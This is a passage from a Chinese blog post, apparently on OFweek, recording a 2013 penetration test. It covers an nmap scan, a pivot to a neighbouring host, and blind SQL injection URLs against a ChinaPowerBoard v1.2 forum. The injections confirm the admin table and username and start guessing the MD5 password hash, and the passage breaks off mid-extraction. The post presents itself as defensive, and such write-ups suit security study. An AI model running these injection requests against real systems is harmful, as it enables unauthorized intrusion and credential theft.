侵权投诉
搜索
更多>> 热门搜索:
订阅
纠错
加入自媒体

一次WEB服务器渗透测试笔记

2013-05-06 09:42
天堂的苦涩
关注

  渗透测试是最能直接的反映系统的安全性的一种手段了。现整理了前段时间进行的一次渗透测试的笔记,整个过程中所使用的工具和思路都比较简单,本文也正是为了您的系统不被这些“简单”的东西所击败而作。

  此次渗透测试的已知条件只有一个:目标IP地址211.***.***.114。

  首先当然是常规的扫描nmap-v-sS-O211.***.***.114,得到的结果如下:

  (The1641portsscannedbutnotshownbelowareinstate:filtered)

  PortStateService

  80/tcpopenhttp

  Devicetype:generalpurpose

  Running:FreeBSD4.X

  OSdetails:FreeBSD4.7-RELEASE

  (注意:渗透测试需要有对方授权,任何未经许可的扫描和渗透都有可能受到起诉。)

  这个结果让人比较郁闷,只开了80一个端口,而且是freebsd的系统,并用IPFW或其他firewall进行了严格的过滤,看来这次的渗透要费点脑筋了。

  但打开页面看了一下,更加让人丧气情况出现了:所有的连接都是静态的html页面!这意味着没有sql注入可利用,没有脚本漏洞可发掘!只是通过指纹验证httprint知道了web服务器是apache。

  嗯,好吧,看来只能扫一下80端口试一下了。拿出RetinaApacheChunked......

  当扫描结果出现在我眼前的时候,我想我有必要联系一下拉登大叔了,直接把这服务器炸掉算了!!!

  放弃?!当然不!“一条铁链的强度取决于其最薄弱的一环”,安全也从来都不是单点的安全,所以,扩大扫描的范围说不定会有收获。当然这个扩大也不是随意的,最好先估算一下对方的地址段的长度,比如这个211.***.***.114,假设掩码是240,则该段地址即为:211.***.***.112-211.***.***.127。这个不用解释了吧!

  拿出nmap,扫描从211.***.***.113-211.***.***.126的地址。得到的结果中最另人感兴趣的是一台开放了80端口的windows2000的主机211.***.***.116。一种直觉告诉我这台主机就是突破口!

  http://211.***.***.116

  出现在我眼前的是一个asp论坛的首页,但奇怪的是该论坛没什么分论坛也没几个注册用户,很可能是一个用来测试的系统。看了下论坛底部的版本信息“PoweredbyChinaPowerBoardv1.2”,原来是CPB的论坛,而且印象里这个v1.2好像是有注入漏洞,(窃喜)。

  用google搜索到一个cpbv1.2研究了一下,原来数据库用的是ACCESS,储存管理员用户名和密码的表名为admin,这是我们最关心的东西,该表有四列:a_idadminpassworda_grade,其中passoword是使用md5加密过的。好了知道了这些基本信息,就可以进行下一步了:

  提交:

  http://211.***.***.116/list.asp?l_id=1andexists(selecta_idfromadminwherea_id=2)

  返回:

  MicrosoftOLEDBProviderforODBCDrivers错误'80004005'

  [Microsoft][ODBCMicrosoftAccessDriver]操作必须使用一个可更新的查询。

  /list.asp,行145

  这些信息说明了:主机211.***.***.116上的cpb论坛的数据库并没有经过改动,与原始的表结构是一样的:表名为admin,管理员的a_id为2,这样就省了我们很多的麻烦。

  下面的目标就是要得到管理员的用户名和密码了。

  提交:

  http://211.***.***.116/list.asp?l_id=1andexists(selectadminfromadminwhere

  admin=admin)

  返回:

  MicrosoftOLEDBProviderforODBCDrivers错误'80004005'

  [Microsoft][ODBCMicrosoftAccessDriver]操作必须使用一个可更新的查询。

  /list.asp,行145

  看来连管理员的用户名都还是默认的admin。

  那么,密码是不是也是默认的admin呢,想到这里我返回到论坛的首页用用户名admin密码admin登陆,结果失败!看来还是老老实实的猜测password的值吧!

  提交:

  http://211.***.***.116/list.asp?l_id=1andexists(selectpasswordfromadminwhereleft

  (password,1)='a')

  返回的是一个报告出错的页面,这点告诉我们由MD5加密后的密码的第一位不是'a'。

  注:由MD5加密后的密码长度为16位,每一位是一个16进制数,所以理论上

  最多猜测256次即可得到该值

  当提交:

  http://211.***.***.116/list.asp?l_id=1andexists(selectpasswordfromadminwhereleft

  (password,1)='1')

1  2  下一页>  
声明: 本文由入驻维科号的作者撰写,观点仅代表作者本人,不代表OFweek立场。如有侵权或其他问题,请联系举报。

发表评论

0条评论,0人参与

请输入评论内容...

请输入评论/评论长度6~500个字

您提交的评论过于频繁,请输入验证码继续

暂无评论

暂无评论

文章纠错
x
*文字标题:
*纠错内容:
联系邮箱:
*验 证 码:

粤公网安备 44030502002758号